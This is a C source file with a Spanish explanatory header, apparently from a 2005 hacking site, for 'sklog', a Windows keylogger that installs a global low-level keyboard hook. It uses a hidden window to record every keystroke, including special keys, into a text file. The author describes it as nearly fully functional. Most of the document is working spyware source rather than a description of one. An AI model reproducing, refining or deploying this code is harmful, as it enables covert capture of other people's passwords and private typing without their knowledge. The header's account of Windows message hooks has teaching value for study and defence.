/*
    Badchecksum - www.badchecksum.com
*/
/*  
    Nombre: sklog
    Descripción: 
        Keylogger simple que utiliza la api SetWindowsHookEx()
    para capturar los mensajes que el driver del teclado de
    windows envia a las diversas ventanas. 
    Autor: Simkin - simkin@badchecksum.com
    Fecha: 09/2005
    OS: Windows XP/NT
    Compilador: gcc version 3.4.2 (mingw-special)
    
    Notas:
        Este codigo no pretende ser un keylogger ni mucho menos "profesional"
    aunque es casi completamente funcional. Tambien sirve para exponer 
    el uso de los hooks globales y de este tipo de hooks en general que,
    aunque no los considero una opcion a la hora de hacer programas que
    deban permanecer ocultos, me parecen bastante utiles para hacer
    bastantes cosas. En windows todo funciona con mensajes y estos hooks
    nos permiten capturar cualquiera de ellos.
        
        El sistema que procesa los mensajes casi no esta testeado asi que
    habra algunas combinaciones de teclas que den problemas, no obstante, 
    todas las pulsaciones simples se logean sin problema asi como cualquier
    combinacion que se procese con TranslateMessage como por ejemplo las de
    SHIFT+tecla. Ademas, el log es rellenado con los nombres definidos por 
    Microsoft para cada virtual key code, asi el alt izquierdo sera VK_RMENU
    y el control derecho VK_RCONTROL, (no tengo tiempo para tradurcirlos) :(
        
        Puede ocurrir (aunque es muy dificil) que el proceso muera
    repentinamente por cualquier causa, en este caso si el fichero no se
    encuentra cerrado en ese momento la ultima tecla que se pulso no quedara
    guardada.
        
        La razon de que no ponga tildes es por que no tengo tiempo y 
    por que no las considero nada practicas..
    
    Detalles:
        El funcionamiento se entiende muy bien con este diagrama:

    diagrama 1                                                                
 -----------------------------------------------------------------------------
 #                                                                           #
 #   +----------+                                               +--------+   #
 #   | teclado  |             +---------------------+        #=>|  app1  |   #
 #   +----------+           #>| win. user-mode code |>=======#  +--------+   #
 #        #                 # +---------------------+        #  +--------+   #
 #     opcodes              #                                #=>|  app2  |   #     
 #        #                 #                                #  +--------+   #
 #   +----------+   +----------------+                       #  +--------+   #
 #   | kernel   |   |   global hook  |>======                #=>|  app3  |   #
 #   +----------+   +----------------+      #                   +--------+   #
 #        #                 #               #                                #
 #        #                 ==========      #                                #
 #        #                          #      #       +-----------+            #
 #        ====> Virtual key codes >===      =======>|  logger   |>==>log.txt #
 #                sin procesar                      +-----------+            #
 -----------------------------------------------------------------------------

        Al pulsar una tecla, el teclado emite opcodes que llegan al
    ordenador, este los interpreta mediante el driver del teclado de windows
    en ring0. Despues los opcodes son traducidos a Virtual key codes "sin
    procesar" y de aqui llegan a nuestro hook en user mode mediante mensajes
    windows. Nuestro hook se limita a copiar todos los mensajes que le llegan
    y enviarlos a la cola de mensajes de nuestro logger que, a su vez,
    los interpreta valiendose de la ayuda de TranslateMessage() (parcialmente)
    y genera caracteres o secuencias de caracteres (ej: [VK_MENU] o 'a') que
    son volcados al archivo de log. 
        
        Nuestro hook no altera de ninguna forma los mensajes que le llegan,
    simplemente se limita a copiarlos, una vez el hook comienza a ejecutarse
    el mensaje sigue su camino hasta cada aplicacion concreta, pasando antes
    por codigo de windows que los vuelve a modificar (no se como ni por que)
    y los convierte en virtual key codes "procesados" que alcanzan las 
    aplicaciones destino.
        
        Como los mensajes que nosotros capturamos no pasan por este proceso
    no son los mismos que acaban llegando a las aplicaciones, esto nos permite
    capturar cualquier tecla del teclado como por ejemplo si se pulsa el alt 
    izquierdo o el derecho (cosa que no podriamos hacer con el hook de teclado
    no global WH_KEYBOARD), sin embargo nos impide saber hacia que ventana
    se dirige cada mensaje por lo que perdemos una funcionalidad bastante util.
       
       Ejemplo del proceso al que son sometidos los mensajes:
            WM_SYSKEYDOWN (VK_LCONTROL) o (VK_RCONTROL)
                se convierten en: 
            WM_KEYDOWN (VK_CONTROL)
    
        Los mensajes que recibe el hook creado por WH_KEYBOARD_LL son
    WM_KEYDOWN WM_SYSKEYDOWN WM_KEYUP Y WM_SYSKEYUP.
    
    IMPORTANTE: El codigo del hook se ejecuta en el contexto del thread
    que llama a SetWindowsHookEx(), esto es exclusivo para el hook
    WH_KEYBOARD_LL y puede llevar a confusiones con otros hooks.
    Por esta razon tampoco hace falta cargar una dll con el codigo del 
    hook como en otros procesos.
            
*/

#include <windows.h>
#include <process.h> 
#include <stdio.h>
#include <ctype.h>

#define LOGPATH "c:\\documents and settings\\simkin\\escritorio\\log.txt"
#define ERRORLOGPATH "c:\\documents and settings\\simkin\\escritorio\\error.txt"

#define CASE(x) case x:\
                    if(!(logfd = fopen(LOGPATH,"a+")))\
                        _ferror("fopen()");\
                    fprintf(logfd,"%s","["#x"]");\
                    fclose(logfd);\
                    break

typedef struct FLAGSST {
    unsigned extended:1;
    unsigned reserved:3;
    unsigned injected:1;
    unsigned context:1;
    unsigned reserved2:1;
    unsigned transition:1;
} FLAGSST;

typedef struct KEYDOWNLPARAM  {
     unsigned repeatcount:16;           
     /**/unsigned scancode:8;           
     /**/unsigned extended:1;           
     /**/unsigned reserved:4;           
     /**/unsigned contextcode:1;        
     unsigned prevkeystate:1;           
     /**/unsigned transitionstate:1;    
} KEYDOWNLPARAM;

/*Funciones*/
int fillwinclass(WNDCLASSEX * wincl);
void fillkeydownlparam(KEYDOWNLPARAM *ptr,UINT a,UINT b,UINT c,UINT e,UINT f,UINT g);
void _ferror(char *str);
void ferrorl(char *str);
void fprintch(char *path,char ch);
LRESULT CALLBACK simhook(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain (HINSTANCE This,HINSTANCE Prev,LPSTR arg,int nFS);

HWND hwnd;
HHOOK myhook;
FILE *logfd;
char szClassName[ ] = "WindowsApp";

/*Rellena una estructura WNDCLASSEX con datos predeterminados*/
int fillwinclass(WNDCLASSEX * wincl) {

    if(!wincl)
        return 0;

    wincl->hInstance = GetModuleHandle(NULL);
    wincl->lpszClassName = szClassName;
    wincl->lpfnWndProc = WindowProcedure;      
    wincl->style = CS_DBLCLKS;                 
    wincl->cbSize = sizeof (WNDCLASSEX);
    wincl->hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl->hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl->hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl->lpszMenuName = NULL;                 
    wincl->cbClsExtra = 0;
    wincl->cbWndExtra = 0;
    wincl->hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    return 1;

}

/*Rellena un unsigned int (LPARAM) correspondiente a un mensaje 
WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN o WM_SYSKEYUP*/
void fillkeydownlparam(KEYDOWNLPARAM *ptr,
            UINT a,UINT b,UINT c,UINT e,UINT f,UINT g) {

            ptr->repeatcount = a;
            ptr->scancode = b;
            ptr->extended = c;
            ptr->reserved = 0;
            ptr->contextcode = e;
            ptr->prevkeystate = f;
            ptr->transitionstate = g;
}

/*Logea un error a un archivo que se encuentra en ERRORLOGPATH
y sale del programa*/
void _ferror(char *str) {
    FILE *errfd; 
    char errstr[1024];
    if(!str) exit(1);
    memset(&errstr,'\0',sizeof(errstr));
    sprintf(errstr,"error: %s\n",str);
    if(!(errfd = fopen(ERRORLOGPATH,"a+"))) {
        printf("No se pudo abrir el log de errores\n");
        exit(1);
    }
    fwrite(errstr,strlen(errstr),1,errfd);
    fclose(errfd);
    exit(1);
}

/*Logea un error leve a un archivo que se encuentra en ERRORLOGPATH*/
void ferrorl(char *str) {
    FILE *errfd; 
    char errstr[1024];
    if(!str) _ferror("ferrorl()");
    memset(&errstr,'\0',sizeof(errstr));
    sprintf(errstr,"error leve: %s\n",str);
    if(!(errfd = fopen(ERRORLOGPATH,"a+"))) {
        printf("No se pudo abrir el log de errores\n");
    }
    fwrite(errstr,strlen(errstr),1,errfd);
    fclose(errfd);
}

/*Escribe un caracter en un archivo*/
void fprintch(char *path,char ch) {
    if(!path || !ch)
        _ferror("fprint()");
    if(!(logfd = fopen(path,"a+")))
        _ferror("fopen()");
    fprintf(logfd,"%c",ch);
    fclose(logfd);
}

/*Funcion que se ejecutara cuando se detecte un mensaje
WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN o WM_SYSKEYUP*/
LRESULT CALLBACK simhook(int nCode, WPARAM wParam, LPARAM lParam) { 
    KBDLLHOOKSTRUCT *kbdstruct = (KBDLLHOOKSTRUCT *)lParam;
    KEYDOWNLPARAM keydownlparam;

    FLAGSST *flagsptr = (FLAGSST *)&(kbdstruct->flags);
    unsigned int *ptr = (unsigned int *) &keydownlparam;
        
    memset(&keydownlparam,'\0',sizeof(keydownlparam));
    
    if (nCode < 0)   
        return CallNextHookEx(0,nCode,wParam, lParam); 

    switch(wParam) {
        case WM_KEYDOWN:
            fillkeydownlparam(&keydownlparam,
                1,kbdstruct->scanCode,flagsptr->extended,0,1,0);
            if(!PostMessage(hwnd,WM_KEYDOWN,kbdstruct->vkCode,*ptr))
                ferrorl("PostMessage()");
            break;
        case WM_SYSKEYDOWN:
            fillkeydownlparam(&keydownlparam,
                1,kbdstruct->scanCode,flagsptr->extended,flagsptr->context,1,0);
            if(!PostMessage(hwnd,WM_SYSKEYDOWN,kbdstruct->vkCode,*ptr))
                ferrorl("PostMessage()");
            break;
        case WM_KEYUP: 
            fillkeydownlparam(&keydownlparam,
                1,kbdstruct->scanCode,flagsptr->extended,0,1,1);
            if(!PostMessage(hwnd,wParam,kbdstruct->vkCode,*ptr))
                ferrorl("PostMessage()");
            break;
        case WM_SYSKEYUP:
            fillkeydownlparam(&keydownlparam,
                1,kbdstruct->scanCode,flagsptr->extended,flagsptr->context,1,1);
            if(!PostMessage(hwnd,wParam,kbdstruct->vkCode,*ptr))
                ferrorl("PostMessage()");
            break;
    }

    return CallNextHookEx(0, nCode, wParam,lParam); 
}

/*Procedimiento de ventana*/
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {
    char suxbuf[1024];
    char c;
    int s;
    
    switch (message) {
        case WM_KEYDOWN:
            /*Si la anterior tecla es control o alt izquierdo
            o alt derecho y la actual es printable la logeamos*/
            c = LOWORD(MapVirtualKey(wParam,2));
            if((HIWORD(GetKeyState(VK_CONTROL)) 
                    || HIWORD(GetKeyState(VK_LMENU)) 
                    || HIWORD(GetKeyState(VK_RMENU))) 
                    && iswprint(c)) {  
                fprintch(LOGPATH,c);
                break;
            }
            switch(wParam) {
                CASE(VK_LMENU);
                CASE(VK_RMENU);
                CASE(VK_LCONTROL);
                CASE(VK_RCONTROL);
                CASE(VK_ESCAPE);
                CASE(VK_F1);
                CASE(VK_F2);
                CASE(VK_F3);
                CASE(VK_F4);
                CASE(VK_F5);
                CASE(VK_F6);
                CASE(VK_F7);
                CASE(VK_F8);
                CASE(VK_F9);
                CASE(VK_F10);
                CASE(VK_F11);
                CASE(VK_F12);
                CASE(VK_PAUSE);
                CASE(VK_CAPITAL);
                CASE(VK_PRIOR);
                CASE(VK_NEXT);
                CASE(VK_END);
                CASE(VK_HOME);
                CASE(VK_LEFT);
                CASE(VK_UP);
                CASE(VK_RIGHT);
                CASE(VK_DOWN);
                CASE(VK_SELECT);
                CASE(VK_PRINT);
                CASE(VK_EXECUTE);
                CASE(VK_SNAPSHOT);
                CASE(VK_INSERT);
                CASE(VK_DELETE);
                CASE(VK_HELP);
                CASE(VK_LWIN);
                CASE(VK_RWIN);
                CASE(VK_APPS);
                CASE(VK_SLEEP);
                CASE(VK_NUMLOCK);
                CASE(VK_SCROLL);
            }
        break;   
        case WM_SYSKEYDOWN:
            switch(wParam) {
                CASE(VK_LMENU);
                CASE(VK_RMENU);
            }
            break;
        case WM_SYSCHAR:
        case WM_SYSDEADCHAR:
        case WM_CHAR:
        case WM_DEADCHAR:
            if(wParam == VK_ESCAPE) break;
            if(wParam == VK_BACK) {
                if(!(logfd = fopen(LOGPATH,"a+")))
                    _ferror("fopen()");
                fprintf(logfd,"%s","[DEL]");
                fclose(logfd);
                break;
            }
            if(wParam == VK_RETURN) {
                fprintch(LOGPATH,'\n');
                break;
            }
            if(iswprint(wParam)) {
                fprintch(LOGPATH,wParam);
                break;
            }
        break;
        case WM_QUIT:
            UnhookWindowsHookEx(myhook);
            break;
        case WM_DESTROY:
            PostQuitMessage(0);       
            break;
        default:                      
            return DefWindowProc (hwnd, message, wParam, lParam);
    }
    
    return 0;
}

int WINAPI WinMain (HINSTANCE This,HINSTANCE Prev,LPSTR arg,int nFS){
    MSG messages;            
    WNDCLASSEX wincl;        
    HWND hwndDlgModeless = NULL; 
    BOOL bRet; 
    HACCEL haccel;
    
    if(!fillwinclass(&wincl))
        _ferror("fillwinclass()"); 

    if (!RegisterClassEx (&wincl))
        _ferror("RegisterClassEx()");

    if(!(hwnd = CreateWindowEx (0,szClassName,"",       
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,       
           544,375,HWND_DESKTOP,NULL,GetModuleHandle(NULL),NULL)))
        _ferror("CreateWindowEx()");

    //ShowWindow(hwnd,SW_SHOW);

    if(!(logfd = fopen(LOGPATH,"a+")))
        _ferror("fopen()");
    fprintf(logfd,"%s","\n\n[NEW SESSION]\n\n");
    fclose(logfd);
    
    if(!(myhook = SetWindowsHookEx(WH_KEYBOARD_LL,simhook,GetModuleHandle(NULL),0)))
        _ferror("SetWindowsHookEx()");

    while( (bRet = GetMessage( &messages, NULL, 0, 0 )) != 0) { 
        if (bRet == -1) {
            _ferror("GetMessage()");
        } else {   
            if (hwndDlgModeless == (HWND) NULL || 
                    !IsDialogMessage(hwndDlgModeless, &messages) && 
                    !TranslateAccelerator(hwnd, haccel, 
                    &messages)) { 
                TranslateMessage(&messages); 
                DispatchMessage(&messages); 
            }
        }
    }
    
    return messages.wParam;
}
